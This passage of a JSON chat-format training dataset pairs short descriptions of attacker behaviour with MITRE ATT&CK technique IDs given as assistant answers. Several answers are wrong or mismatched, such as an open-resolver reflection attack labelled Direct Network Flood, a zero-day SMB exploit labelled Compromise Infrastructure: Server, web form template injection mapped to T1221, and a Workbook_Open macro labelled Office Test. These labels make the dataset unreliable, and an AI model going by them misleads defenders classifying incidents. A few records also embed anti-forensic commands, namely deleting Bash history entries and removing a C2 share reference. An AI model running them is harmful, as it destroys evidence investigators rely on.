                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a campaign, the threat actor employs a reflection attack using open DNS resolvers to amplify traffic towards the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deployed a backdoor by copying its binary to a .txt file and tricking users into executing it via double‑click."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code gathers browser history and saves it to a temporary file in the user's profile."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident involved exfiltrating the full configuration files of edge devices to reconstruct the network map."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a stolen OAuth token to export all source code from the company's GitHub Enterprise instance."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query publicly available code repositories and vulnerability databases to locate configuration files that reveal internal IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑compromise tool executed `Remove-Item -Path \"\\\\\\c2\\share\" -Recurse -Force` to delete the network share reference and erase any trace of the indicator."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the runtime data structures of a database engine to exfiltrate hidden records."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group harvests expired but still trusted code signing certificates from compromised development servers to sign their backdoors."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use DCOM to execute malicious code on a remote Windows host by invoking the IRemoteRegistry interface."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet performs a TCP reset attack on a critical VPN gateway, causing session disruptions and loss of connectivity for users."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor establishes a covert channel using SNMP GetBulk requests to exfiltrate sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a rogue access point to alter HTTP GET requests, inserting malicious query parameters that trigger server‑side exploits."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT actors leveraged a compromised Azure Key Vault to retrieve service principal certificates for authenticating to cloud APIs."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ reflective loading to inject malicious code into a legitimate process by allocating memory, copying the payload, and calling its entry point directly."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Directory Services Restore Mode to copy NTDS.dit and then parses it for credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a text file with malicious code that is compiled at runtime on the endpoint, obscuring its malicious nature."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider exploits access to a subscription‑only industry analysis platform to extract strategic plans of the company."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the DDE protocol to send payloads from a malicious spreadsheet to the victim's Excel instance."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages privileged access to the on-premises AD to push malicious attribute values that result in unauthorized access tokens being issued for Azure resources."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a file called \"update.exe \" with an extra space, tricking security tools that trim whitespace, allowing the payload to run unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal leveraged a compromised VPN server to tunnel into the internal network and pivot to other servers."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a hidden service account to a Linux system to maintain persistence and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs a one-way web service channel to exfiltrate data, leveraging TLS to conceal the traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized a compromised AWS IAM role to list all S3 buckets and copy sensitive logs to their own bucket."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited a known vulnerability in the company's public web server to gain remote code execution and install a web shell."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a custom tool to scrub network interface statistics and erase connection configuration files."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor downloads exploit kits containing multiple vulnerabilities to prepare for targeted intrusions."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a DLL hijacking vulnerability in a high‑privilege process to run malicious code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor copies the legitimate lsass.exe binary, modifies it, and names it taskmgr.exe to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious SVG image is hosted on a compromised website; when a user views it in a vulnerable web browser, the SVG's JavaScript runs a malicious macro on the client machine."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs directory listing on the victim's NAS and copies all files matching \"*.docx\" to an exfiltration channel."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups deploy Odbcconf to register a malicious COM object, achieving system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials are used to create a new domain user to facilitate future attacks."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a malicious password filter DLL to intercept and record credentials during the authentication process, bypassing normal password checks."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the attacker enumerates service accounts, requests their Kerberos tickets, and then uses a password‑cracking tool to reveal the account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During cleanup, the attacker uses \"history -d $(history 1)\" in a loop to delete each entry from the Bash history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes copying database dumps to a staging folder on the compromised server for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script intercepts and modifies OAuth tokens in transit, forging valid access tokens that grant the attacker unauthorized access to protected APIs."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑login infection reads the Linux PAM configuration to locate saved password hashes."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages API calls that each transmit only a few kilobytes of data, staying below the Data Transfer Size Limits set by the environment."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by placing a malicious DLL in the LoginHook registry entry, causing it to load during the user logon sequence."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a low‑and‑slow scanning approach to avoid detection, probing ports one at a time over several days."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals leveraged a zero‑day exploit in a Windows server's SMB service to gain system‑level access and deploy ransomware."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a malicious macro in a Word document that executes a native Windows utility to capture ambient sound and writes it to %TEMP% for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerable CMS plugin to gain write access and replaces the public homepage with a propaganda page, resulting in external defacement."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious user leverages template injection vulnerabilities by inserting {{ or <% %> constructs into form inputs, resulting in server-side code execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses the NTDS.dit file on a domain controller to harvest Active Directory credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat modifies the DACL of a service's binary to allow writes, then injects a malicious DLL that runs under the service's context."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform keyword searches on public social networking sites to map out external domains owned by the target."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration, the attacker generates forged Kerberos tickets that grant admin rights on critical servers."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Suspicious program extracts email headers from the Windows Mail app's SQLite database."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors upload a crafted HTML file with inline obfuscated JavaScript that reconstructs a binary payload on the client side before executing it."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a misconfigured WinRM listener to issue commands remotely without credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infected host executes PowerShell's [System.Security.Principal.WindowsIdentity]::GetCurrent() to get the current user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor stages financial records on the victim machine, placing them in a temporary archive."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uploads a compromised image to a shared cloud storage folder, which when viewed by other users triggers a drive-by download."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a legitimate SQLite database on the victim's system to inject malicious entries."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker disables Windows Defender real‑time protection to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a rootkit to tamper with system logging mechanisms, ensuring that their activities are not recorded in security logs."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a script that recursively deletes files containing indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised SaaS admin account was used to change DNS records, redirecting traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use a trusted vendor’s signed certificates to authenticate to the organization’s services."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection uses the mshta.exe utility to run a malicious HTA file, which is whitelisted for auto-elevation, thereby bypassing the UAC prompt and executing with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool extracts IP configuration details from network interfaces to gather victim network information."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious VBA code in a macro‑enabled Excel workbook is set to run on the Workbook_Open event, downloading additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised DNS server was used to launch distributed denial‑of‑service attacks against competitors."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT creates a malicious script that auto‑generates malicious payloads based on target OS detection, then distributes them via phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware clears command history entries from the PowerShell console to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s script checks the system's hardware model via dmidecode on Linux for strings like 'VirtualBox' or 'QEMU'."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script runs \"net user\" to enumerate all local user accounts on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploits misconfigured DNS servers to harvest the victim's network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts Google searches using specific keywords to discover publicly exposed corporate web servers."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder edits the user's email filtering policies to automatically purge messages flagged as suspicious, eliminating forensic artifacts."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a seemingly harmless .rtf file that, when opened by Word, invokes the Office Test behavior to run a remote script."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use a custom script to erase all strings that could reveal the tool's origin from the compiled payload."
            },
            {
